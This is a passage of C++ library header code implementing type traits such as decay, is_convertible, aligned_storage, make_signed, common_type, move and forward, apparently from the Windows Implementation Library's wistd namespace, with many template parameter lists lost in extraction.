remove_all_extents<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_all_extents_t = typename remove_all_extents<_Tp>::type;\n#endif\n\n // decay\n\n template \n struct __decay {\n typedef typename remove_cv<_Up>::type type;\n };\n\n template \n struct __decay<_Up, true> {\n public:\n typedef typename conditional\n <\n is_array<_Up>::value,\n typename remove_extent<_Up>::type*,\n typename conditional\n <\n is_function<_Up>::value,\n typename add_pointer<_Up>::type,\n typename remove_cv<_Up>::type\n >::type\n >::type type;\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS decay\n {\n private:\n typedef typename remove_reference<_Tp>::type _Up;\n public:\n typedef typename __decay<_Up, __is_referenceable<_Up>::value>::type type;\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using decay_t = typename decay<_Tp>::type;\n#endif\n\n // is_abstract\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_abstract\n : public integral_constant {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_abstract_v\n = is_abstract<_Tp>::value;\n#endif\n\n // is_final\n\n#if defined(__WI_LIBCPP_HAS_IS_FINAL)\n template struct __WI_LIBCPP_TEMPLATE_VIS\n __libcpp_is_final : public integral_constant {};\n#else\n template struct __WI_LIBCPP_TEMPLATE_VIS\n __libcpp_is_final : public false_type {};\n#endif\n\n#if defined(__WI_LIBCPP_HAS_IS_FINAL) && __WI_LIBCPP_STD_VER > 11\n template struct __WI_LIBCPP_TEMPLATE_VIS\n is_final : public integral_constant {};\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_final_v\n = is_final<_Tp>::value;\n#endif\n\n // is_aggregate\n#if __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_IS_AGGREGATE)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS\n is_aggregate : public integral_constant {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_aggregate_v\n = is_aggregate<_Tp>::value;\n#endif\n\n#endif // __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_IS_AGGREGATE)\n\n // is_base_of\n\n#ifdef __WI_LIBCPP_HAS_IS_BASE_OF\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_base_of\n : public integral_constant {};\n\n#else // __WI_LIBCPP_HAS_IS_BASE_OF\n\n namespace __is_base_of_imp\n {\n template \n struct _Dst\n {\n _Dst(const volatile _Tp &);\n };\n template \n struct _Src\n {\n operator const volatile _Tp &();\n template operator const _Dst<_Up> &();\n };\n template struct __one { typedef char type; };\n template typename __one(declval<_Src<_Dp> >()))>::type __test(int);\n template __two __test(...);\n }\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_base_of\n : public integral_constant::value &&\n sizeof(__is_base_of_imp::__test<_Bp, _Dp>(0)) == 2> {};\n\n#endif // __WI_LIBCPP_HAS_IS_BASE_OF\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_base_of_v\n = is_base_of<_Bp, _Dp>::value;\n#endif\n\n // is_convertible\n\n#if __WI_HAS_FEATURE_IS_CONVERTIBLE_TO && !defined(__WI_LIBCPP_USE_IS_CONVERTIBLE_FALLBACK)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_convertible\n : public integral_constant::value> {};\n\n#else // __WI_HAS_FEATURE_IS_CONVERTIBLE_TO\n\n namespace __is_convertible_imp\n {\n template void __test_convert(_Tp);\n\n template \n struct __is_convertible_test : public false_type {};\n\n template \n struct __is_convertible_test<_From, _To,\n decltype(__is_convertible_imp::__test_convert<_To>(declval<_From>()))> : public true_type\n {};\n\n template ::value,\n bool _IsFunction = is_function<_Tp>::value,\n bool _IsVoid = is_void<_Tp>::value>\n struct __is_array_function_or_void {enum {value = 0};};\n template struct __is_array_function_or_void<_Tp, true, false, false> {enum {value = 1};};\n template struct __is_array_function_or_void<_Tp, false, true, false> {enum {value = 2};};\n template struct __is_array_function_or_void<_Tp, false, false, true> {enum {value = 3};};\n }\n\n template ::type>::value>\n struct __is_convertible_check\n {\n static const size_t __v = 0;\n };\n\n template \n struct __is_convertible_check<_Tp, 0>\n {\n static const size_t __v = sizeof(_Tp);\n };\n\n template ::value,\n unsigned _T2_is_array_function_or_void = __is_convertible_imp::__is_array_function_or_void<_T2>::value>\n struct __is_convertible\n : public integral_constant::value\n#if defined(__WI_LIBCPP_HAS_NO_RVALUE_REFERENCES)\n && !(!is_function<_T1>::value && !is_reference<_T1>::value && is_reference<_T2>::value\n && (!is_const::type>::value\n || is_volatile::type>::value)\n && (is_same::type,\n typename remove_cv::type>::type>::value\n || is_base_of::type, _T1>::value))\n#endif\n >\n {};\n\n template struct __is_convertible<_T1, _T2, 0, 1> : public false_type {};\n template struct __is_convertible<_T1, _T2, 1, 1> : public false_type {};\n template struct __is_convertible<_T1, _T2, 2, 1> : public false_type {};\n template struct __is_convertible<_T1, _T2, 3, 1> : public false_type {};\n\n template struct __is_convertible<_T1, _T2, 0, 2> : public false_type {};\n template struct __is_convertible<_T1, _T2, 1, 2> : public false_type {};\n template struct __is_convertible<_T1, _T2, 2, 2> : public false_type {};\n template struct __is_convertible<_T1, _T2, 3, 2> : public false_type {};\n\n template struct __is_convertible<_T1, _T2, 0, 3> : public false_type {};\n template struct __is_convertible<_T1, _T2, 1, 3> : public false_type {};\n template struct __is_convertible<_T1, _T2, 2, 3> : public false_type {};\n template struct __is_convertible<_T1, _T2, 3, 3> : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_convertible\n : public __is_convertible<_T1, _T2>\n {\n static const size_t __complete_check1 = __is_convertible_check<_T1>::__v;\n static const size_t __complete_check2 = __is_convertible_check<_T2>::__v;\n };\n\n#endif // __WI_HAS_FEATURE_IS_CONVERTIBLE_TO\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_convertible_v\n = is_convertible<_From, _To>::value;\n#endif\n\n // is_empty\n\n#if __WI_HAS_FEATURE_IS_EMPTY || (__WI_GNUC_VER >= 407)\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_empty\n : public integral_constant {};\n\n#else // __WI_HAS_FEATURE_IS_EMPTY\n\n template \n struct __is_empty1\n : public _Tp\n {\n double __lx;\n };\n\n struct __is_empty2\n {\n double __lx;\n };\n\n template ::value>\n struct __libcpp_empty : public integral_constant) == sizeof(__is_empty2)> {};\n\n template struct __libcpp_empty<_Tp, false> : public false_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_empty : public __libcpp_empty<_Tp> {};\n\n#endif // __WI_HAS_FEATURE_IS_EMPTY\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_empty_v\n = is_empty<_Tp>::value;\n#endif\n\n // is_polymorphic\n\n#if __WI_HAS_FEATURE_IS_POLYMORPHIC\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_polymorphic\n : public integral_constant {};\n\n#else\n\n template char &__is_polymorphic_impl(\n typename enable_if(declval<_Tp*>())) != 0,\n int>::type);\n template __two &__is_polymorphic_impl(...);\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_polymorphic\n : public integral_constant(0)) == 1> {};\n\n#endif // __WI_HAS_FEATURE_IS_POLYMORPHIC\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_polymorphic_v\n = is_polymorphic<_Tp>::value;\n#endif\n\n // has_virtual_destructor\n\n#if __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS has_virtual_destructor\n : public integral_constant {};\n\n#else\n\n template struct __WI_LIBCPP_TEMPLATE_VIS has_virtual_destructor\n : public false_type {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool has_virtual_destructor_v\n = has_virtual_destructor<_Tp>::value;\n#endif\n\n // has_unique_object_representations\n\n#if __WI_LIBCPP_STD_VER > 14 && defined(__WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS has_unique_object_representations\n : public integral_constant>)> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool has_unique_object_representations_v\n = has_unique_object_representations<_Tp>::value;\n#endif\n\n#endif\n\n // alignment_of\n\n template struct __WI_LIBCPP_TEMPLATE_VIS alignment_of\n : public integral_constant {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t alignment_of_v\n = alignment_of<_Tp>::value;\n#endif\n\n // aligned_storage\n\n template \n struct __type_list\n {\n typedef _Hp _Head;\n typedef _Tp _Tail;\n };\n\n struct __nat\n {\n#ifndef __WI_LIBCPP_CXX03_LANG\n __nat() = delete;\n __nat(const __nat&) = delete;\n __nat& operator=(const __nat&) = delete;\n ~__nat() = delete;\n#endif\n };\n\n template \n struct __align_type\n {\n static const size_t value = alignment_of<_Tp>::value;\n typedef _Tp type;\n };\n\n struct __struct_double {long double __lx;};\n struct __struct_double4 {double __lx[4];};\n\n typedef\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type,\n __type_list<__align_type<__struct_double>,\n __type_list<__align_type<__struct_double4>,\n __type_list<__align_type,\n __nat\n > > > > > > > > > > __all_types;\n\n template struct __find_pod;\n\n template \n struct __find_pod<__type_list<_Hp, __nat>, _Align>\n {\n typedef typename conditional<\n _Align == _Hp::value,\n typename _Hp::type,\n void\n >::type type;\n };\n\n template \n struct __find_pod<__type_list<_Hp, _Tp>, _Align>\n {\n typedef typename conditional<\n _Align == _Hp::value,\n typename _Hp::type,\n typename __find_pod<_Tp, _Align>::type\n >::type type;\n };\n\n template \n struct __has_pod_with_align : public integral_constant::type, void>::value> {};\n\n template struct __find_max_align;\n\n template \n struct __find_max_align<__type_list<_Hp, __nat>, _Len> : public integral_constant {};\n\n template \n struct __select_align\n {\n private:\n static const size_t __min = _A2 < _A1 ? _A2 : _A1;\n static const size_t __max = _A1 < _A2 ? _A2 : _A1;\n public:\n static const size_t value = _Len < __max ? __min : __max;\n };\n\n template \n struct __find_max_align<__type_list<_Hp, _Tp>, _Len>\n : public integral_constant::value>::value> {};\n\n template ::value>\n struct __aligned_storage\n {\n typedef typename __find_pod<__all_types, _Align>::type _Aligner;\n static_assert(!is_void<_Aligner>::value, \"\");\n union type\n {\n _Aligner __align;\n unsigned char __data[(_Len + _Align - 1)/_Align * _Align];\n };\n };\n\n#define __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(n) \\\n template \\\n struct __aligned_storage<_Len, n, false>\\\n {\\\n struct __WI_ALIGNAS(n) type\\\n {\\\n unsigned char __lx[(_Len + n - 1)/n * n];\\\n };\\\n }\n\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x1);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x2);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x4);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x8);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x10);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x20);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x40);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x80);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x100);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x200);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x400);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x800);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x1000);\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x2000);\n // PE/COFF does not support alignment beyond 8192 (=0x2000)\n#if !defined(__WI_LIBCPP_OBJECT_FORMAT_COFF)\n __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x4000);\n#endif // !defined(__WI_LIBCPP_OBJECT_FORMAT_COFF)\n\n#undef __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION\n\n template ::value>\n struct __WI_LIBCPP_TEMPLATE_VIS aligned_storage : public __aligned_storage<_Len, _Align> {};\n\n#if __WI_LIBCPP_STD_VER > 11\n template ::value>\n using aligned_storage_t = typename aligned_storage<_Len, _Align>::type;\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_VARIADICS\n\n // aligned_union\n\n template \n struct __static_max;\n\n template \n struct __static_max<_I0>\n {\n static const size_t value = _I0;\n };\n\n template \n struct __static_max<_I0, _I1, _In...>\n {\n static const size_t value = _I0 >= _I1 ? __static_max<_I0, _In...>::value :\n __static_max<_I1, _In...>::value;\n };\n\n template \n struct aligned_union\n {\n static const size_t alignment_value = __static_max<__alignof__(_Type0),\n __alignof__(_Types)...>::value;\n static const size_t __len = __static_max<_Len, sizeof(_Type0),\n sizeof(_Types)...>::value;\n typedef typename aligned_storage<__len, alignment_value>::type type;\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using aligned_union_t = typename aligned_union<_Len, _Types...>::type;\n#endif\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __numeric_type\n {\n static void __test(...);\n static float __test(float);\n static double __test(char);\n static double __test(int);\n static double __test(unsigned);\n static double __test(long);\n static double __test(unsigned long);\n static double __test(long long);\n static double __test(unsigned long long);\n static double __test(double);\n static long double __test(long double);\n\n typedef decltype(__test(declval<_Tp>())) type;\n static const bool value = !is_same::value;\n };\n\n template <>\n struct __numeric_type\n {\n static const bool value = true;\n };\n\n // __promote\n\n template ::value &&\n __numeric_type<_A2>::value &&\n __numeric_type<_A3>::value>\n class __promote_imp\n {\n public:\n static const bool value = false;\n };\n\n template \n class __promote_imp<_A1, _A2, _A3, true>\n {\n private:\n typedef typename __promote_imp<_A1>::type __type1;\n typedef typename __promote_imp<_A2>::type __type2;\n typedef typename __promote_imp<_A3>::type __type3;\n public:\n typedef decltype(__type1() + __type2() + __type3()) type;\n static const bool value = true;\n };\n\n template \n class __promote_imp<_A1, _A2, void, true>\n {\n private:\n typedef typename __promote_imp<_A1>::type __type1;\n typedef typename __promote_imp<_A2>::type __type2;\n public:\n typedef decltype(__type1() + __type2()) type;\n static const bool value = true;\n };\n\n template \n class __promote_imp<_A1, void, void, true>\n {\n public:\n typedef typename __numeric_type<_A1>::type type;\n static const bool value = true;\n };\n\n template \n class __promote : public __promote_imp<_A1, _A2, _A3> {};\n\n // make_signed / make_unsigned\n\n typedef\n __type_list\n#endif\n > > > > > __signed_types;\n\n typedef\n __type_list\n#endif\n > > > > > __unsigned_types;\n\n template struct __find_first;\n\n template \n struct __find_first<__type_list<_Hp, _Tp>, _Size, true>\n {\n typedef _Hp type;\n };\n\n template \n struct __find_first<__type_list<_Hp, _Tp>, _Size, false>\n {\n typedef typename __find_first<_Tp, _Size>::type type;\n };\n\n template ::type>::value,\n bool = is_volatile::type>::value>\n struct __apply_cv\n {\n typedef _Up type;\n };\n\n template \n struct __apply_cv<_Tp, _Up, true, false>\n {\n typedef const _Up type;\n };\n\n template \n struct __apply_cv<_Tp, _Up, false, true>\n {\n typedef volatile _Up type;\n };\n\n template \n struct __apply_cv<_Tp, _Up, true, true>\n {\n typedef const volatile _Up type;\n };\n\n template \n struct __apply_cv<_Tp&, _Up, false, false>\n {\n typedef _Up& type;\n };\n\n template \n struct __apply_cv<_Tp&, _Up, true, false>\n {\n typedef const _Up& type;\n };\n\n template \n struct __apply_cv<_Tp&, _Up, false, true>\n {\n typedef volatile _Up& type;\n };\n\n template \n struct __apply_cv<_Tp&, _Up, true, true>\n {\n typedef const volatile _Up& type;\n };\n\n template ::value || is_enum<_Tp>::value>\n struct __make_signed {};\n\n template \n struct __make_signed<_Tp, true>\n {\n typedef typename __find_first<__signed_types, sizeof(_Tp)>::type type;\n };\n\n template <> struct __make_signed {};\n template <> struct __make_signed< signed short, true> {typedef short type;};\n template <> struct __make_signed {typedef short type;};\n template <> struct __make_signed< signed int, true> {typedef int type;};\n template <> struct __make_signed {typedef int type;};\n template <> struct __make_signed< signed long, true> {typedef long type;};\n template <> struct __make_signed {typedef long type;};\n template <> struct __make_signed< signed long long, true> {typedef long long type;};\n template <> struct __make_signed {typedef long long type;};\n#ifndef __WI_LIBCPP_HAS_NO_INT128\n template <> struct __make_signed<__int128_t, true> {typedef __int128_t type;};\n template <> struct __make_signed<__uint128_t, true> {typedef __int128_t type;};\n#endif\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS make_signed\n {\n typedef typename __apply_cv<_Tp, typename __make_signed::type>::type>::type type;\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using make_signed_t = typename make_signed<_Tp>::type;\n#endif\n\n template ::value || is_enum<_Tp>::value>\n struct __make_unsigned {};\n\n template \n struct __make_unsigned<_Tp, true>\n {\n typedef typename __find_first<__unsigned_types, sizeof(_Tp)>::type type;\n };\n\n template <> struct __make_unsigned {};\n template <> struct __make_unsigned< signed short, true> {typedef unsigned short type;};\n template <> struct __make_unsigned {typedef unsigned short type;};\n template <> struct __make_unsigned< signed int, true> {typedef unsigned int type;};\n template <> struct __make_unsigned {typedef unsigned int type;};\n template <> struct __make_unsigned< signed long, true> {typedef unsigned long type;};\n template <> struct __make_unsigned {typedef unsigned long type;};\n template <> struct __make_unsigned< signed long long, true> {typedef unsigned long long type;};\n template <> struct __make_unsigned {typedef unsigned long long type;};\n#ifndef __WI_LIBCPP_HAS_NO_INT128\n template <> struct __make_unsigned<__int128_t, true> {typedef __uint128_t type;};\n template <> struct __make_unsigned<__uint128_t, true> {typedef __uint128_t type;};\n#endif\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS make_unsigned\n {\n typedef typename __apply_cv<_Tp, typename __make_unsigned::type>::type>::type type;\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using make_unsigned_t = typename make_unsigned<_Tp>::type;\n#endif\n\n#ifdef __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type\n {\n public:\n typedef typename common_type::type, _Vp>::type type;\n };\n\n template <>\n struct __WI_LIBCPP_TEMPLATE_VIS common_type\n {\n public:\n typedef void type;\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, void, void>\n {\n public:\n typedef typename common_type<_Tp, _Tp>::type type;\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up, void>\n {\n typedef typename decay() : declval<_Up>()\n )>::type type;\n };\n\n#else // __WI_LIBCPP_HAS_NO_VARIADICS\n\n // bullet 1 - sizeof...(Tp) == 0\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type {};\n\n // bullet 2 - sizeof...(Tp) == 1\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp>\n : public common_type<_Tp, _Tp> {};\n\n // bullet 3 - sizeof...(Tp) == 2\n\n template \n struct __common_type2_imp {};\n\n template \n struct __common_type2_imp<_Tp, _Up,\n typename __void_t() : declval<_Up>()\n )>::type>\n {\n typedef typename decay() : declval<_Up>()\n )>::type type;\n };\n\n template ::type,\n class _DUp = typename decay<_Up>::type>\n using __common_type2 =\n typename conditional<\n is_same<_Tp, _DTp>::value && is_same<_Up, _DUp>::value,\n __common_type2_imp<_Tp, _Up>,\n common_type<_DTp, _DUp>\n >::type;\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up>\n : __common_type2<_Tp, _Up> {};\n\n // bullet 4 - sizeof...(Tp) > 2\n\n template struct __common_types;\n\n template \n struct __common_type_impl {};\n\n template \n struct __common_type_impl<\n __common_types<_Tp, _Up>,\n typename __void_t::type>::type>\n {\n typedef typename common_type<_Tp, _Up>::type type;\n };\n\n template \n struct __common_type_impl<__common_types<_Tp, _Up, _Vp...>,\n typename __void_t::type>::type>\n : __common_type_impl<\n __common_types::type, _Vp...> >\n {\n\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up, _Vp...>\n : __common_type_impl<__common_types<_Tp, _Up, _Vp...> > {};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using common_type_t = typename common_type<_Tp...>::type;\n#endif\n\n#endif // __WI_LIBCPP_HAS_NO_VARIADICS\n\n // is_assignable\n\n template struct __select_2nd { typedef _Tp type; };\n\n template \n typename __select_2nd() = declval<_Arg>())), true_type>::type\n __is_assignable_test(int);\n\n template \n false_type __is_assignable_test(...);\n\n\n template ::value || is_void<_Arg>::value>\n struct __is_assignable_imp\n : public decltype((__is_assignable_test<_Tp, _Arg>(0))) {};\n\n template \n struct __is_assignable_imp<_Tp, _Arg, true>\n : public false_type\n {\n };\n\n template \n struct is_assignable\n : public __is_assignable_imp<_Tp, _Arg> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_assignable_v\n = is_assignable<_Tp, _Arg>::value;\n#endif\n\n // is_copy_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_copy_assignable\n : public is_assignable::type,\n typename add_lvalue_reference::type>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_copy_assignable_v\n = is_copy_assignable<_Tp>::value;\n#endif\n\n // is_move_assignable\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_move_assignable\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n : public is_assignable::type,\n typename add_rvalue_reference<_Tp>::type> {};\n#else\n : public is_copy_assignable<_Tp> {};\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_move_assignable_v\n = is_move_assignable<_Tp>::value;\n#endif\n\n // is_destructible\n\n#if __WI_HAS_FEATURE_IS_DESTRUCTIBLE\n\n template \n struct is_destructible\n : public integral_constant {};\n\n#else\n\n // if it's a reference, return true\n // if it's a function, return false\n // if it's void, return false\n // if it's an array of unknown bound, return false\n // Otherwise, return \"std::declval<_Up&>().~_Up()\" is well-formed\n // where _Up is remove_all_extents<_Tp>::type\n\n template \n struct __is_destructible_apply { typedef int type; };\n\n template \n struct __is_destructor_wellformed {\n template \n static char __test (\n typename __is_destructible_apply().~_Tp1())>::type\n );\n\n template \n static __two __test (...);\n\n static const bool value = sizeof(__test<_Tp>(12)) == sizeof(char);\n };\n\n template \n struct __destructible_imp;\n\n template \n struct __destructible_imp<_Tp, false>\n : public integral_constant::type>::value> {};\n\n template \n struct __destructible_imp<_Tp, true>\n : public true_type {};\n\n template \n struct __destructible_false;\n\n template \n struct __destructible_false<_Tp, false> : public __destructible_imp<_Tp, is_reference<_Tp>::value> {};\n\n template \n struct __destructible_false<_Tp, true> : public false_type {};\n\n template \n struct is_destructible\n : public __destructible_false<_Tp, is_function<_Tp>::value> {};\n\n template \n struct is_destructible<_Tp[]>\n : public false_type {};\n\n template <>\n struct is_destructible\n : public false_type {};\n\n#endif // __WI_HAS_FEATURE_IS_DESTRUCTIBLE\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_destructible_v\n = is_destructible<_Tp>::value;\n#endif\n\n // move\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n typename remove_reference<_Tp>::type&&\n move(_Tp&& __t) WI_NOEXCEPT\n {\n typedef typename remove_reference<_Tp>::type _Up;\n return static_cast<_Up&&>(__t);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n _Tp&&\n forward(typename remove_reference<_Tp>::type& __t) WI_NOEXCEPT\n {\n return static_cast<_Tp&&>(__t);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n _Tp&&\n forward(typename remove_reference<_Tp>::type&& __t) WI_NOEXCEPT\n {\n static_assert(!is_lvalue_reference<_Tp>::value,\n \"can not forward an rvalue as an lvalue\");\n return static_cast<_Tp&&>(__t);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX17\n _T1 exchange(_T1& __obj, _T2 && __new_value)\n {\n _T1 __old_value = wistd::move(__obj);\n __obj = wistd::forward<_T2>(__new_value);\n return __old_value;\n }\n\n#else // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n _Tp&\n move(_Tp& __t)\n {\n return __t;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n const _Tp&\n move(const _Tp& __t)\n {\n return __t;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n _Tp&\n forward(typename remove_reference<_Tp>::type& __t) WI_NOEXCEPT\n {\n return __t;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n _T1 exchange(_T1& __obj, const _T2& __new_value)\n {\n _T1 __old_value = __obj;\n __obj = __new_value;\n return __old_value;\n }\n\n template \n class __rv\n {\n typedef typename remove_reference<_Tp>::type _Trr;\n _Trr& t_;\n public:\n __WI_LIBCPP_INLINE_VISIBILITY\n _Trr* operator->() {return &t_;}\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit __rv(_Trr& __t) : t_(__t) {}\n };\n\n#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n#if __WI_LIBCPP_STD_VER > 11\n template \n#else\n template \n#endif\n struct __WI_LIBCPP_TEMPLATE_VIS less : binary_function<_Tp, _Tp, bool>\n {\n __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 __WI_LIBCPP_INLINE_VISIBILITY\n bool operator()(const _Tp& __x, const _Tp& __y) const\n {return __x < __y;}\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template <>\n struct __WI_LIBCPP_TEMPLATE_VIS less\n {\n template \n __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 __WI_LIBCPP_INLINE_VISIBILITY\n auto operator()(_T1&& __t, _T2&& __u) const\n __WI_NOEXCEPT_(noexcept(wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u)))\n -> decltype (wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u))\n { return wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u); }\n typedef void is_transparent;\n };\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n typename decay<_Tp>::type\n __decay_copy(_Tp&& __t)\n {\n return wistd::forward<_Tp>(__t);\n }\n\n#else\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n typename decay<_Tp>::type\n __decay_copy(const _Tp& __t)\n {\n return wistd::forward<_Tp>(__t);\n }\n\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_VARIADICS\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...), true, false>\n {\n typedef _Class _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param..., ...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const, true, false>\n {\n typedef _Class const _ClassType;\n typedef _Rp _ReturnType;\n typedef _Rp (_FnType) (_Param...);\n };\n\n template \n struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., 